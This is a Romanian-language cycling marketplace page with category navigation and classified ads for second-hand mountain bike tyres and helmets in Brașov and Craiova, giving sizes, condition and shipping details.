Încălțăminte MTB - Mountain Bike

Încălțăminte Șosea / Triatlon

Accesorii încălțăminte

Huse protecție încălțaminte

Pantofi Alergare / Triatlon

Încălţăminte (structura veche)

Mărime încălțăminte

Sistem închidere pantofi

Tip talpă pantof

Încălțăminte

Ceasuri

Camere de filmat

Ciclocomputer / GPS / Kilometraj

Home trainer

Drone

Brand gadget

Tehnologie

Brașov

Anvelope noi
29 x 2.35
Super DH, UltraSoft

150 bucata sau 250 ambele

Anvelope Schwalbe Dirty Dan

Alexandru Pufan

Craiova

Marimea LG/XL (56-61cm), purtata de cateva ori, fara niciun defect

Casca Shadow Conspiracy bmx/dirt

Cască nouă, nefolosită. Mărimea M. Se poate vedea și proba în Brașov. Trimit în țară prin Fan Curier

Cască nouă Fox Proframe-RS

Cască cumpărată în august 2023, din fericire nu a avut parte de nicio lovitură. Mărimea L. Se poate vedea și proba în Brașov. Trimit în țară prin Fan Curier.

Cască 100% Trajecta